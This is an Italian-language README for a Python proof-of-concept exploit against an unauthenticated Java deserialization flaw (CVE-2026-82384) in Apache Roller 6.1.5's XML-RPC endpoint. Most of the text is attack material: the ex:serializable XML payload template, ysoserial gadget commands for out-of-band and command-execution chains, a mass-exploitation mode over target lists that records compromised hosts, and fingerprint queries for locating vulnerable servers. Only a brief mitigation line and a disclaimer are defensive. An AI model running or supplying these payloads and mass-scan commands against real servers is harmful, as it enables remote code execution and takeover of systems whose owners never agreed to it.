
PoC in Python per CVE-2026-82384: rileva e sfrutta la deserializzazione Java non autenticata via XML-RPC in Apache Roller 6.1.5 tramite payload ysoserial, con scansione di massa.
PoC in Python 3 per CVE-2026-82384 — deserializzazione Java non autenticata su Apache Roller 6.1.5 tramite il servlet legacy XML-RPC.
Pagina PoC: https://pocbit.org/pocs/cve-2026-82384
Apache Roller è un server di blog multiutente basato su Java (storicamente "Roller Weblogger"). Le installazioni sono solitamente WAR su Tomcat con un'interfaccia sotto /roller-ui/ e le API legacy Blogger / MetaWeblog su XML-RPC all'indirizzo /roller-services/xmlrpc. Roller 6.1.5 (set 2025) ha corretto un problema di sessione non correlato (CVE-2025-24859) ma ha lasciato lo stack XML-RPC in una configurazione pericolosa per questa CVE.
CVE-2026-82384 è una deserializzazione di dati non attendibili (CWE-502) sull'endpoint XML-RPC:
XmlRpcServlet di Roller è configurato con enabledForExtensions=true, quindi la libreria Apache ws-xmlrpc accetta tipi di estensione del vendor, incluso ex:serializable — un oggetto Java serializzato codificato in base64.web.xml, quindi il parser viene eseguito comunque anche quando gli amministratori disabilitano XML-RPC nelle impostazioni di Roller (webservices.enableXmlRpc=false). Disabilitare la funzionalità dall'interfaccia non chiude questo percorso pre-auth su 6.1.5.Affetto: solo Apache Roller 6.1.5 (secondo l'avviso del vendor).
Corretto: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, e richieste rifiutate quando XML-RPC è disabilitato globalmente.
| Metrica | Valore |
|---|---|
| CVSS 3.1 | 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Nessuna per la primitiva di deserializzazione |
| Scopritore | n0mi1k |
| Vendor | Apache Software Foundation |
| Voce | Dettaglio |
|---|---|
| Endpoint | POST /roller-services/xmlrpc (provare anche /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| Trigger | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> all'interno di un methodCall |
| Catena di gadget | Dipende dal classpath (Commons Collections, ecc.); spesso generata con ysoserial |
| Impatto | RCE come utente OS di Tomcat/Roller; tipicamente controllo completo dei dati del blog e pivot sull'host |
| Modalità | Comportamento |
|---|---|
check | Individua le impronte di Roller, localizza l'URL XML-RPC, --probe-deser opzionale (invia byte di probe ex:serializable) |
exploit | Invia il tuo payload serializzato (file, base64 o ysoserial tramite --ysoserial-jar) |
| Mass | --list targets.txt --mode exploit -j N — esecuzione parallela in blocco con JSONL + exploited.txt |
Campi PoCbit: pocbit, pocbit_catalog, pocbit_page su ogni riga JSONL.
CLI: banner colorato, righe [HIT] / [EXPLOIT] / [FAIL] (disattivabile con --no-color).
Questo repository non include catene di gadget RCE funzionanti (dipendono dal classpath). Per lo sfruttamento reale, fornisci l'output di ysoserial o un file di payload verificato.
pip install -r requirements.txt
Per RCE (non solo rilevamento):
URLDNS (prova out-of-band), CommonsCollections6 (esecuzione di comandi sul tipico classpath di Roller — verificare prima in laboratorio)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
cve_2026_82384_exploit.jsonl — JSON per targetexploited.txt — target in cui il payload è stato accettato / OOB inviato<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
Su 6.1.5, l'analisi di questo body può comportare una deserializzazione prima che qualsiasi gestore di metodo imponga le credenziali.
/roller-services/xmlrpc a livello di reverse proxy / WAF (consentire solo gli IP degli amministratori).Apache Roller, /roller-ui/, porta 8080/8443.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
Conferma la versione 6.1.5 dal footer, dalla pagina delle informazioni o da WEB-INF / note di rilascio prima di considerarla sfruttabile.
Utilizzare solo su sistemi per i quali si è autorizzati a eseguire test. Gli exploit di deserializzazione possono distruggere dati e violare la legge se usati in modo improprio.